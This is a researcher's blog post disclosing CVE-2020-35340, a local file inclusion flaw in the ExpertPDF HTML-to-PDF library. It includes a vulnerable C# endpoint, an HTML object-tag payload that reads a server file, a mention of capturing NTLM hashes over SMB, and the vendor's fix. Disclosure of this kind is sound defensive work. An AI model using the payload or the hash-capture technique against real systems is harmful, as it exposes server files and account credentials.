OPTIONAL

I hack things and occasionally write about it

WRITTEN BY OPTIONAL

SEPTEMBER 14, 2021

CVE-2020-35340 – LOCAL FILE INCLUSION IN EXPERTPDF 9.5.0 – 14.1.0

Affected Vendor: expertpdf.net || nuget.org/packages/ExpertPdfHtmlToPdf/

Affected Versions: 9.5.0 – 14.1.0

CONTEXT

ExpertPDF is a .NET library that has been downloaded over 300,000 times. The core functionality of this library is to allow conversion of HTML to PDF whether from raw HTML or from a file.

Now a question for you...

Q: What happens when we allow user-controlled input to be passed to the conversion function?

A: Initially it presented itself as HTML injection within the generated PDF, this initially lead to many hours diving down rabbit hole after rabbit hole, attempting to find a vector to exploit this.

It then dawned on me that you can potentially pull files into the page, initially I was trying to get a hit on a Responder client but later realised that by specifying a local file it would in fact pull it into the page if that file is readable!

REPLICATION

Now you may be wondering how to replicate this wonderful thing? Well here's how

1. Set up a basic .NET webapp that imports a vulnerable version of the expertPDF library.
2. Ensure the application runs and add the following code

```
[HttpGet()]
        public FileContentResult GetPDF()
        {
            var pdfConverter = new PdfConverter();

            pdfConverter.PdfDocumentOptions.PdfPageSize = PdfPageSize.A4;
            pdfConverter.PdfDocumentOptions.PdfCompressionLevel = PdfCompressionLevel.Normal;
            pdfConverter.PdfDocumentOptions.ShowHeader = true;
            pdfConverter.PdfDocumentOptions.ShowFooter = true;
            pdfConverter.PdfDocumentOptions.LeftMargin = 5;
            pdfConverter.PdfDocumentOptions.RightMargin = 5;
            pdfConverter.PdfDocumentOptions.TopMargin = 5;
            pdfConverter.PdfDocumentOptions.BottomMargin = 5;
            pdfConverter.PdfDocumentOptions.GenerateSelectablePdf = true;

            pdfConverter.PdfDocumentOptions.ShowHeader = false;

            pdfConverter.PdfFooterOptions.FooterText = "Sample footer";
            pdfConverter.PdfFooterOptions.FooterTextColor = Color.Blue;
            pdfConverter.PdfFooterOptions.DrawFooterLine = false;
            pdfConverter.PdfFooterOptions.PageNumberText = "Page";
            pdfConverter.PdfFooterOptions.ShowPageNumber = true;

            var download = pdfConverter.GetPdfBytesFromHtmlString("<MALICIOUS HTML HERE>");
            return new FileContentResult(download, "application/pdf");
        }
```

3. As you can see above there is a snip within the `GetPdfBytesFromHtmlString`, this is where the following payload will go

```
<object width=600 height=1000 data='C:/windows/system32/drivers/etc/hosts' type='text/plain'></object>
```

4. Now when you hit the endpoint you have this running on, you'll receive the hosts file from the server.

ADDITIONAL: Upon further testing, it was identified that you could pull NTLM hashes from the server by specifying `file://` abusing the nature of SMB. You're also able to hit responder and obtain the hash of the account running the web server.

REMEDIATION

After several emails with the vendor, they had implemented a patch that is effective in version 15.0.0 and later.

By setting the following `AllowLocalAccess` property to false, it will prevent access to the file system.
– html-to-pdf.net documentation

IMPORTANT: It is key to note that by default the AllowLocalAccess is property will be set to True. Allowing access to the file system!

CLOSING WORDS

Thank you to Westar (twitter.com/WesVleuten) for the creation of the testing environment to verify this vulnerability alongside helping test different versions to determine the scale of the vulnerability.